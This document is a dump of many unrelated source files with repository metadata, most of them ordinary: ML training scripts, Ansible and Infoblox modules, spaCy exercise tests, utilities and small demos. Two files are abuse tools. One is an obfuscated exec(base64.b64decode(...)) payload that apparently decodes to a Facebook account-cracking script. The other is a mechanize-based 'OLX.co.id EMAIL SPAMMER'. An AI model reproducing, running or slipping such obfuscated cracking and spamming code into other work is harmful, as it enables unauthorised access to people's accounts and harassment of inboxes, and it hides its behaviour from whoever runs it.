] | 1 | 2022-03-02T12:49:44.000Z | 2022-03-02T12:49:44.000Z | src/bo4e/enum/preisstatus.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | 21 | 2022-02-04T07:38:46.000Z | 2022-03-28T14:01:53.000Z | src/bo4e/enum/preisstatus.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | null | null | null | # pylint: disable=missing-module-docstring
from bo4e.enum.strenum import StrEnum
class Preisstatus(StrEnum):
"""
Statusinformation für Preise
"""
VORLAEUFIG = "VORLAEUFIG" #: vorläufig
ENDGUELTIG = "ENDGUELTIG" #: endgültig
| 20.75 | 43 | 0.698795 |
c30b649091f39d856d12e24ea22b56e28e133f56 | 2,967 | py | Python | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/applications/FootballAction/extractor/extract_feat.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | 1 | 2022-03-19T09:58:37.000Z | 2022-03-19T09:58:37.000Z | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/applications/FootballAction/extractor/extract_feat.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | null | null | null | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/applications/FootballAction/extractor/extract_feat.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | null | null | null | #!./python27-gcc482/bin/python
# coding: utf-8
"""
BAIDU CLOUD action
"""
import os
import sys
import pickle
import json
import time
import shutil
import numpy as np
sys.path.append("../predict/action_detect")
import models.pptsm_infer as image_model
import models.audio_infer as audio_model
from utils.preprocess im... | 30.90625 | 86 | 0.677452 |
c3397e1d4f675a0ac19c5d2e8ae7dda12381cc87 | 2,691 | py | Python | _build/build.py | kylebebak/kylebebak.github.io | 052cf14904d9991d5e035e6b8300c0231d839988 | [
"MIT"
] | 1 | 2017-11-26T21:56:11.000Z | 2017-11-26T21:56:11.000Z | _build/build.py | kylebebak/kylebebak.github.io | 052cf14904d9991d5e035e6b8300c0231d839988 | [
"MIT"
] | null | null | null | _build/build.py | kylebebak/kylebebak.github.io | 052cf14904d9991d5e035e6b8300c0231d839988 | [
"MIT"
] | 2 | 2016-07-11T16:05:40.000Z | 2020-04-16T01:51:44.000Z | import os
import frontmatter
from collections import OrderedDict
import datetime
def parse_filename(filename, ext='.md'):
"""
Remove and validate date prefix and extension,
return list with [date, file].
"""
filename, extension = os.path.splitext(filename)
date, file = filename[:10], filename[1... | 33.6375 | 84 | 0.587142 |
c38221eea89f13117924cf0f6712e11edf1638d0 | 1,323 | py | Python | books/PythonCleanCode/ch5_decorator/decorator_class_1.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | books/PythonCleanCode/ch5_decorator/decorator_class_1.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | books/PythonCleanCode/ch5_decorator/decorator_class_1.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | """Clean Code in Python - Chapter 5: Decorators
> Class decorators.
"""
import unittest
from datetime import datetime
class LoginEventSerializer:
def __init__(self, event):
self.event = event
def serialize(self) -> dict:
return {
"username": self.event.username,
... | 25.941176 | 79 | 0.560091 |
6f3aebd05afef42d0bc8a7e0480d7f4189d6bdc9 | 21,492 | py | Python | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/gcp_bigquery_table_info.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/gcp_bigquery_table_info.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/gcp_bigquery_table_info.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright (C) 2017 Google
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
# ----------------------------------------------------------------------------
#
# *** AUTO GENERATED CODE *** AUTO GENERATED CODE ***
#
... | 34.332268 | 124 | 0.56086 |
48c1c112e7a7c06bdb94271d96e4081732310385 | 4,006 | py | Python | official/cv/dncnn/train.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | official/cv/dncnn/train.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | official/cv/dncnn/train.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | #!/usr/bin/env python3
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... | 43.075269 | 107 | 0.699201 |
82bc919011dd26a69dce60209d552d85f16225d1 | 1,953 | py | Python | tensorflow/TensorFlow-Tutorials-1/04_modern_net.py | gopala-kr/ds-notebooks | bc35430ecdd851f2ceab8f2437eec4d77cb59423 | [
"MIT"
] | 23 | 2017-07-07T07:00:52.000Z | 2022-03-09T06:49:17.000Z | TensorFlow-Tutorials/04_modern_net.py | zhwhong/awesome-deep-learning | ba4302a8d65ac8b63627bcfa8e3b23871fa2c390 | [
"CC0-1.0"
] | null | null | null | TensorFlow-Tutorials/04_modern_net.py | zhwhong/awesome-deep-learning | ba4302a8d65ac8b63627bcfa8e3b23871fa2c390 | [
"CC0-1.0"
] | 26 | 2017-06-13T01:44:24.000Z | 2021-06-17T18:11:26.000Z | #!/usr/bin/env python
import tensorflow as tf
import numpy as np
from tensorflow.examples.tutorials.mnist import input_data
def init_weights(shape):
return tf.Variable(tf.random_normal(shape, stddev=0.01))
def model(X, w_h, w_h2, w_o, p_keep_input, p_keep_hidden): # this network is the same as the previous one... | 35.509091 | 149 | 0.637481 |
7def857a4019085ae7ed32b550845fabcb53f438 | 5,920 | py | Python | Packs/Infoblox/Integrations/Infoblox/Infoblox_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/Infoblox/Integrations/Infoblox/Infoblox_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/Infoblox/Integrations/Infoblox/Infoblox_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | from Infoblox import Client
import demistomock as demisto
import json
from CommonServerPython import DemistoException
BASE_URL = 'https://example.com/v1/'
POST_NEW_ZONE_RESPONSE = {
"result": {
"_ref": "zone_rp/ZG5zLnpvbmUkLl9kZWZhdWx0LmNvbS50ZXN0:test.com/default",
"disable": False,
"fqd... | 48.92562 | 120 | 0.605405 |
73809a784db4d97325e22b6e2fda1dea8895d0fc | 365 | py | Python | exercises/ja/test_01_02_04.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 2,085 | 2019-04-17T13:10:40.000Z | 2022-03-30T21:51:46.000Z | exercises/ja/test_01_02_04.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 79 | 2019-04-18T14:42:55.000Z | 2022-03-07T08:15:43.000Z | exercises/ja/test_01_02_04.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 361 | 2019-04-17T13:34:32.000Z | 2022-03-28T04:42:45.000Z | def test():
import spacy.tokens
import spacy.lang.ja
assert isinstance(
nlp, spacy.lang.ja.Japanese
), "nlpオブジェクトはJapaneseクラスのインスタンスでなければなりません"
assert isinstance(doc, spacy.tokens.Doc), "テキストをnlpオブジェクトで処理してdocを作成しましたか?"
assert "print(doc.text)" in __solution__, "doc.textをプリントしましたか?"
... | 30.416667 | 79 | 0.715068 |
83c8e8c6e3e8ce864c6d87af664d12aa08b25bc6 | 5,068 | py | Python | research/cv/SiamFC/src/dataset.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/SiamFC/src/dataset.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/SiamFC/src/dataset.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 42.233333 | 100 | 0.619574 |
83f129eeb947be131046eae345484de1c76a42ff | 324 | py | Python | day02/bmiCalculator.py | nurmatthias/100DaysOfCode | 22002e4b31d13e6b52e6b9222d2e91c2070c5744 | [
"Apache-2.0"
] | null | null | null | day02/bmiCalculator.py | nurmatthias/100DaysOfCode | 22002e4b31d13e6b52e6b9222d2e91c2070c5744 | [
"Apache-2.0"
] | null | null | null | day02/bmiCalculator.py | nurmatthias/100DaysOfCode | 22002e4b31d13e6b52e6b9222d2e91c2070c5744 | [
"Apache-2.0"
] | null | null | null | # 🚨 Don't change the code below 👇
height = input("enter your height in m: ")
weight = input("enter your weight in kg: ")
# 🚨 Don't change the code above 👆
#Write your code below this line 👇
height = float(height.replace(',', '.'))
weight = float(weight.replace(',', '.'))
bmi = weight / height**2
print(int(roun... | 23.142857 | 43 | 0.645062 |
83fcb74ae140148c1829305f2e63ef92c70ca943 | 411 | py | Python | Packs/ProofpointTAP/Scripts/ProofpointTapTopClickers/ProofpointTapTopClickers.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/ProofpointTAP/Scripts/ProofpointTapTopClickers/ProofpointTapTopClickers.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/ProofpointTAP/Scripts/ProofpointTapTopClickers/ProofpointTapTopClickers.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto # noqa: F401
from CommonServerPython import * # noqa: F401
results = demisto.executeCommand('proofpoint-get-top-clickers', {'window': 90})[0]['Contents']['users']
users = []
for user in results:
users.append({"name": user.get("identity").get("emails", [""])[0],
"d... | 34.25 | 103 | 0.6618 |
541bf81a79866ff62725c32232676495a2e2bc6c | 343 | py | Python | python_playground/check_self_loop.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | 8 | 2020-04-14T23:17:00.000Z | 2021-06-21T12:34:04.000Z | python_playground/check_self_loop.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | null | null | null | python_playground/check_self_loop.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | 1 | 2021-01-17T16:26:50.000Z | 2021-01-17T16:26:50.000Z | with open('/home/yche/mnt/wangyue-clu/csproject/biggraph/ywangby/LinsysSimRank/datasets/edge_list/p2p-Gnutella06.txt') as ifs:
lines = ifs.readlines()
lines = map(lambda line: map(int, line.rstrip().split()), lines)
print len(lines)
for line in lines:
# print line
if line[0] == line[1]:
... | 38.111111 | 126 | 0.64723 |
54870758b3803ac19719f494c2ab6309aafe9885 | 421 | py | Python | src/onegov/reservation/__init__.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/reservation/__init__.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/reservation/__init__.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.reservation.collection import ResourceCollection
from onegov.reservation.core import LibresIntegration
from onegov.reservation.models import CustomAllocation as Allocation
from onegov.reservation.models import CustomReservation as Reservation
from onegov.reservation.models import Resource
__all__ = [
'... | 30.071429 | 70 | 0.805226 |
49c9965de0cf5fce03cc9c8bec222aae7de4678d | 3,582 | py | Python | huTools/rest.py | gadventures/huTools | 8bc58d63491bcd3cfc3e78d219be703d943ffeb5 | [
"BSD-3-Clause"
] | null | null | null | huTools/rest.py | gadventures/huTools | 8bc58d63491bcd3cfc3e78d219be703d943ffeb5 | [
"BSD-3-Clause"
] | null | null | null | huTools/rest.py | gadventures/huTools | 8bc58d63491bcd3cfc3e78d219be703d943ffeb5 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# encoding: utf-8
"""
Client library for REST APIs
Created by Christian Klein on 2010-07-21.
Copyright (c) 2010 HUDORA. All rights reserved.
"""
from __future__ import unicode_literals
from future import standard_library
standard_library.install_aliases()
from builtins import str
from builtins i... | 26.533333 | 94 | 0.615578 |
49fb91125d3bf921b4b3c190fb8647631669d84d | 2,136 | py | Python | nnc/models.py | JanakiRaman-2002/Arre-yaar | c0b44ca1f8884a09116241dcd0bf7cfcee3b785d | [
"Apache-2.0"
] | null | null | null | nnc/models.py | JanakiRaman-2002/Arre-yaar | c0b44ca1f8884a09116241dcd0bf7cfcee3b785d | [
"Apache-2.0"
] | null | null | null | nnc/models.py | JanakiRaman-2002/Arre-yaar | c0b44ca1f8884a09116241dcd0bf7cfcee3b785d | [
"Apache-2.0"
] | null | null | null | from django.db import models
from django.db.models.fields import IntegerField
from django.template.defaultfilters import slugify
class Category(models.Model):
title = models.CharField(max_length=50)
category_image = models.ImageField(null = True, blank = True)
heading = models.CharField(max_length=50)
... | 33.904762 | 88 | 0.706929 |
3f7888f0c12e52b7a1c92cdc126ee741e24099b8 | 62,227 | py | Python | Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/demand/demand.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 4 | 2020-11-13T02:35:56.000Z | 2021-03-29T20:15:54.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/demand/demand.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 9 | 2020-12-09T02:12:39.000Z | 2021-02-18T00:15:28.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/demand/demand.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 1 | 2020-11-20T19:31:26.000Z | 2020-11-20T19:31:26.000Z | # Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo
# Copyright (C) 2016-2020 German Aerospace Center (DLR) and others.
# SUMOPy module
# Copyright (C) 2012-2017 University of Bologna - DICAM
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public ... | 40.697842 | 130 | 0.563421 |
4dc547540fb093c53fad02cef8469922764cad3a | 91 | py | Python | bindings/python/__init__.py | Ozon-test/example-adder | a2033bf1b8da6fa9d8fec3d6164246f530ffc8a9 | [
"BSD-2-Clause"
] | null | null | null | bindings/python/__init__.py | Ozon-test/example-adder | a2033bf1b8da6fa9d8fec3d6164246f530ffc8a9 | [
"BSD-2-Clause"
] | null | null | null | bindings/python/__init__.py | Ozon-test/example-adder | a2033bf1b8da6fa9d8fec3d6164246f530ffc8a9 | [
"BSD-2-Clause"
] | null | null | null | from .libexample_adder import add as _add
def add(a, b):
return _add(int(a), int(b))
| 15.166667 | 41 | 0.67033 |
12a2250791e1bbde8e8ab26eff10334abea593c3 | 311 | py | Python | 02_Python/conditions.py | DaviNakamuraCardoso/Harvard-CS50-Web-Programming | afec745eede41f7b294c3ee6ebaff9ac042e5e4c | [
"MIT"
] | null | null | null | 02_Python/conditions.py | DaviNakamuraCardoso/Harvard-CS50-Web-Programming | afec745eede41f7b294c3ee6ebaff9ac042e5e4c | [
"MIT"
] | null | null | null | 02_Python/conditions.py | DaviNakamuraCardoso/Harvard-CS50-Web-Programming | afec745eede41f7b294c3ee6ebaff9ac042e5e4c | [
"MIT"
] | null | null | null | def main():
n = int(input("Number: "))
positive(n)
return
def positive(number):
if number > 0:
print(f"{number} is positive.")
elif number < 0:
print(f"{number} is negative.")
else:
print("This number is 0.")
return
if __name__ == "__main__":
main()
| 15.55 | 39 | 0.540193 |
4201522aefece6ce380b432c589d4b5cc22a8e29 | 2,059 | py | Python | LocallyWeightedLinearRegression/LOESS.py | lance52587/MachineLearningNote | 0184f8de178990ee31ace2a43809830874313697 | [
"MIT"
] | 37 | 2018-06-06T05:58:54.000Z | 2022-02-21T04:49:54.000Z | LocallyWeightedLinearRegression/LOESS.py | YYangjlu/MachineLearningNote | d34a9b57af3b2c6f276d14c2a7a3dccadb585421 | [
"MIT"
] | null | null | null | LocallyWeightedLinearRegression/LOESS.py | YYangjlu/MachineLearningNote | d34a9b57af3b2c6f276d14c2a7a3dccadb585421 | [
"MIT"
] | 35 | 2018-10-01T16:12:34.000Z | 2022-02-21T03:35:33.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-05-02 12:21:02
# @Author : Alan Lau
# @Email : rlalan@outlook.com
import numpy as np
import matplotlib.pyplot as plt
def load_Dataset(filename):
"""加载数据"""
numFeat = len(open(filename).readline().split('\t')) - 1
dataMat = []
labelMat... | 24.807229 | 72 | 0.560466 |
fbec75ecb510e60687ddc9dcaafba222b0344b06 | 518 | py | Python | exercises/fr/test_04_06.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 2,085 | 2019-04-17T13:10:40.000Z | 2022-03-30T21:51:46.000Z | exercises/fr/test_04_06.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 79 | 2019-04-18T14:42:55.000Z | 2022-03-07T08:15:43.000Z | exercises/fr/test_04_06.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 361 | 2019-04-17T13:34:32.000Z | 2022-03-28T04:42:45.000Z | def test():
assert (
'spacy.blank("fr")' in __solution__
), "As-tu créé le modèle français vide ?"
assert (
len(nlp.pipe_names) == 1 and nlp.pipe_names[0] == "ner"
), "As-tu ajouté l'entity recognizer au pipeline ?"
assert (
len(ner.labels) == 1 and ner.labels[0] == "GADGET"
... | 32.375 | 80 | 0.596525 |
224b1f8b28b78bb2a5333c3fdd08b7fd36d98f0c | 13,092 | py | Python | UNetExperiment_nuclii.py | ramesh152/SegmentationExperiment | b52dbc57759c086155e79c6621e6d25a4db0e974 | [
"Apache-2.0"
] | 2 | 2019-06-12T13:53:00.000Z | 2020-04-29T13:11:12.000Z | UNetExperiment_nuclii.py | ramesh152/SegmentationExperiment | b52dbc57759c086155e79c6621e6d25a4db0e974 | [
"Apache-2.0"
] | 1 | 2019-12-10T12:23:06.000Z | 2019-12-10T12:23:06.000Z | UNetExperiment_nuclii.py | ramesh152/SegmentationExperiment | b52dbc57759c086155e79c6621e6d25a4db0e974 | [
"Apache-2.0"
] | 1 | 2020-08-05T18:12:24.000Z | 2020-08-05T18:12:24.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright 2017 Division of Medical Image Computing, German Cancer Research Center (DKFZ)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# ... | 48.309963 | 167 | 0.588145 |
3f179f6bb02434d9fd4495a1386606fdcab16dcb | 1,809 | py | Python | Darstellung_Karte_Paxauth_tprx.py | raswz/wifionice | 67f1fa7a6b396afe7a447a4d10adbc64dcbcdd4f | [
"CC-BY-4.0"
] | null | null | null | Darstellung_Karte_Paxauth_tprx.py | raswz/wifionice | 67f1fa7a6b396afe7a447a4d10adbc64dcbcdd4f | [
"CC-BY-4.0"
] | null | null | null | Darstellung_Karte_Paxauth_tprx.py | raswz/wifionice | 67f1fa7a6b396afe7a447a4d10adbc64dcbcdd4f | [
"CC-BY-4.0"
] | null | null | null | import numpy as np
import plotly.express as px
import pandas as pd
#data = pd.read_csv(r'c:\users\Ronja\Documents\20171212_wifionice\wifionice.csv', sep=';', low_memory=False) #Importiert die WifionIce.parquet-Datei
data_raw = pd.read_feather(r'c:\Users\Ronja\Documents\GitHub\wifionice\wifionice.feather') #Importiert ... | 45.225 | 212 | 0.713101 |
3f19dc1ca3f7191c0de1f19d7ea32b5e5ee22f58 | 414 | py | Python | python/primary/helloworld.py | EstherLacan/jiangfw | a449b1925742873c76dc1b3284aedb359204bc76 | [
"Apache-2.0"
] | 1 | 2020-07-29T16:43:46.000Z | 2020-07-29T16:43:46.000Z | python/primary/helloworld.py | EstherLacan/jiangfw | a449b1925742873c76dc1b3284aedb359204bc76 | [
"Apache-2.0"
] | null | null | null | python/primary/helloworld.py | EstherLacan/jiangfw | a449b1925742873c76dc1b3284aedb359204bc76 | [
"Apache-2.0"
] | null | null | null | #!/user/bin/python
# Filename:helloworld.py
print('Hello World')
age = 55
if age<21:
print("你不能买酒。")
print("不过你能买口香糖。")
print("这句话处於if语句块的外面。")
i = 5
print (i)
i = i + 1
print (i)
s = '''This is a multi-line string.
This is the second line. \n this is the 3rd line.'''
print (s)
length = 5
breadth = 2... | 15.333333 | 52 | 0.628019 |
182080200876e2deff1d2a780b7425f7497523df | 8,985 | py | Python | FACEBOOK-main/enc_run.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | FACEBOOK-main/enc_run.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | FACEBOOK-main/enc_run.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | import base64
exec(base64.b64decode("IyEvdXNyL2Jpbi9weXRob24zCiMtKi1jb2Rpbmc6dXRmLTgtKi0KCmltcG9ydCBzeXMsb3MscmVxdWVzdHMsanNvbix0aW1lCmZyb20gY29uY3VycmVudC5mdXR1cmVzIGltcG9ydCBUaHJlYWRQb29sRXhlY3V0b3IgYXMgVGhyZWFkUG9vbApmcm9tIGRhdGV0aW1lIGltcG9ydCBkYXRldGltZQoKc2FhdF9pbmkgPSBkYXRldGltZS5ub3coKQp0Z2wgPSBzYWF0X2luaS5zdH... | 4,492.5 | 8,970 | 0.998108 |
62ec70716ef787d140408de2d80e0f7c631d2f1d | 1,244 | py | Python | Labyrint/app.py | flikkes/intelligente_agenten | 340ca9b9d98b4525b330292f16444e106dec9d66 | [
"MIT"
] | null | null | null | Labyrint/app.py | flikkes/intelligente_agenten | 340ca9b9d98b4525b330292f16444e106dec9d66 | [
"MIT"
] | null | null | null | Labyrint/app.py | flikkes/intelligente_agenten | 340ca9b9d98b4525b330292f16444e106dec9d66 | [
"MIT"
] | null | null | null | from Agent import Agent
from Labyrinth import Labyrinth
import time
import tkinter
import sys
import os
from tkinter import *
sizeX = int(sys.argv[1])
sizeY = int(sys.argv[2])
startX = int(sys.argv[3])
startY = int(sys.argv[4])
finishX = int(sys.argv[5])
finishY = int(sys.argv[6])
labyrinth = Labyrinth(sizeX, sizeY, ... | 23.037037 | 77 | 0.601286 |
c52315e6928d01d78e0a17db0685be0b6c573fb7 | 34,032 | py | Python | wz/ui/table.py | gradgrind/WZ | 672d93a3c9d7806194d16d6d5b9175e4046bd068 | [
"Apache-2.0"
] | null | null | null | wz/ui/table.py | gradgrind/WZ | 672d93a3c9d7806194d16d6d5b9175e4046bd068 | [
"Apache-2.0"
] | null | null | null | wz/ui/table.py | gradgrind/WZ | 672d93a3c9d7806194d16d6d5b9175e4046bd068 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""
gui/table.py
Last updated: 2021-10-09
An editable table widget using QTableWidget as base class. Only text
cells are handled.
Based on "TableWidget.py" from the "silx" project (www.silx.org),
thanks to P. Knobel.
- Adapted to run in this project (mostly tweaking of the imports).
- A... | 38.541336 | 86 | 0.639868 |
b164e9369045cdefc99d0a84b164144c9212aa12 | 2,775 | py | Python | project/api/organizer/schemas.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 1 | 2021-06-01T14:49:18.000Z | 2021-06-01T14:49:18.000Z | project/api/organizer/schemas.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 286 | 2020-12-04T14:13:00.000Z | 2022-03-09T19:05:16.000Z | project/api/organizer/schemas.py | DanielGrams/gsevpt | a92f71694388e227e65ed1b24446246ee688d00e | [
"MIT"
] | null | null | null | from marshmallow import fields, validate
from project.api import marshmallow
from project.api.fields import Owned
from project.api.image.schemas import ImageDumpSchema, ImageSchema
from project.api.location.schemas import (
LocationDumpSchema,
LocationPatchRequestSchema,
LocationPostRequestSchema,
Loca... | 28.90625 | 85 | 0.762883 |
654f206e0a4d5a0d5b70ce2a0d6a4b61b94e4c5d | 904 | py | Python | opencv_tutorial/opencv3_youtube/prog10.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | opencv_tutorial/opencv3_youtube/prog10.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | opencv_tutorial/opencv3_youtube/prog10.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Mon Mar 25 16:42:01 2019
@author: jone
"""
import cv2
import numpy as np
def emptyFunction():
pass
def main():
img1 = np.zeros((512, 512, 3), np.uint8)
windowName = 'OpenCV BGR Color Palette'
cv2.namedWindow(windowName)
cv2.createTrackbar('B', win... | 22.04878 | 62 | 0.580752 |
02a6f714fc25ebbe692f1b103884bdf0c100f78b | 79 | py | Python | Python/Crawler/amazon_webscraper/test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/Crawler/amazon_webscraper/test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/Crawler/amazon_webscraper/test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | import pandas as pd
d = {"Hallo": "Foo",
"second": "Bar"}
pd.DataFrame(d) | 15.8 | 21 | 0.582278 |
b28c84a9acca43404d89dd810efcc82998e39421 | 1,694 | py | Python | SpamMail-master/src/olx.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 11 | 2019-01-20T17:11:11.000Z | 2021-12-17T05:00:15.000Z | SpamMail-master/src/olx.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | SpamMail-master/src/olx.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 10 | 2019-05-12T02:28:06.000Z | 2022-03-06T14:21:43.000Z | #!usr/bin/python3.7
#OLX.co.id EMAIL SPAMMER
#Author : KANG-NEWBIE
#Contact : t.me/kang_nuubi
try:
import mechanize,os,sys,time,json
except ModuleNotFoundError as mdl:
exit('Module Err: %s'%(mdl))
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_robots(False)... | 27.322581 | 211 | 0.63046 |
a23cb5df77e1aae68780e00242bd7c56f62bf2f6 | 13,459 | py | Python | test/py/dubbo/test_pb2_grpc.py | wybosys/nnt.logic.jvm | 249aedd7f8dd03d94dcb0780b91dadacd4b25270 | [
"BSD-3-Clause"
